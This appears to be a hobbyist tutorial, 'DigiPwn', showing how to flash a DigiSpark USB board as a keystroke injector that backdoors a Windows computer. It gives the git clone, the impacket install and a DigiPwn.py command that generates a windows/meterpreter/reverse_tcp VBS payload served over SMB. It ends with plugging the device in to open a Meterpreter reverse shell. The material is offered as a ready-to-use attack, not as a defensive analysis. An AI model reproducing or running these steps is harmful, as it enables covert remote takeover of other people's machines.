DigiPwn
![Screenshot from 2019-08-25 13-22-05.png](/proxy/?url=https://content.instructables.com/FJ5/NFMZ/JZN5HAPQ/FJ5NFMZJZN5HAPQ.png&filename=Screenshot from 2019-08-25 13-22-05.png)
![beZ-XZpsAF220I0rFWRmWt0cmtvyOqv4e95dRsPxIVA.jpg](/proxy/?url=https://content.instructables.com/FPR/V335/JZN5HAU1/FPRV335JZN5HAU1.jpg&filename=beZ-XZpsAF220I0rFWRmWt0cmtvyOqv4e95dRsPxIVA.jpg)
So what are we doing here?
DigiSpark is a small Arduino based development tool which can act as an HID keyboard input. Today we manipulate this device to backdoor a Windows operating system!
Supplies
Clone the DigiPwn Repository!
![Screenshot from 2019-08-25 13-36-18.png](/proxy/?url=https://content.instructables.com/FXW/FD7P/JZN5HBBN/FXWFD7PJZN5HBBN.png&filename=Screenshot from 2019-08-25 13-36-18.png)
Clone to the GitHub repo of DigiPwn by
git clone https://www.github.com/zer0overflow/DigiPwn
Now change directory to DigiPwn by
cd DigiPwn/
Install Impacket [Modules Required by Python]
This module is required to run the SMB server which is required for payload library
sudo apt-get install python-impacket
Or you can download the impacket library and install it from here.
Lets Generate the Payload!
![Screenshot from 2019-08-25 13-49-42.png](/proxy/?url=https://content.instructables.com/FZR/8X8S/JZN5HBSV/FZR8X8SJZN5HBSV.png&filename=Screenshot from 2019-08-25 13-49-42.png)
![Screenshot from 2019-08-25 13-49-53.png](/proxy/?url=https://content.instructables.com/FOI/642K/JZN5HBSW/FOI642KJZN5HBSW.png&filename=Screenshot from 2019-08-25 13-49-53.png)
Run
python DigiPwn.py [HOST] [PORT] [PAYLOAD] [OUTPUT FILE] [format]
ex
python DigiPwn.py 192.168.1.2 8080 windows/meterpreter/reverse_tcp win.vbs win.vbs
Now you'll be asked if to start the stager and SMB server. Press y and hit enter
Now Upload the Code to Arduino!
![Screenshot from 2019-08-25 14-00-08.png](/proxy/?url=https://content.instructables.com/F6H/YNGZ/JZN5HC6P/F6HYNGZJZN5HC6P.png&filename=Screenshot from 2019-08-25 14-00-08.png)
Before we upload we need to make sure that DigiSpark board is installed in Arduino to do that look at here.
after that upload the keystroke_inject.ino file generated by the script. Once done you are ready to
Time to Plug in the Baby!
![Screenshot from 2019-08-25 14-14-47.png](/proxy/?url=https://content.instructables.com/FBS/74GJ/JZN5HCK7/FBS74GJJZN5HCK7.png&filename=Screenshot from 2019-08-25 14-14-47.png)
Plug in your DigiSpark now and wait for 10 seconds
BOOM There's a meterpreter session opened!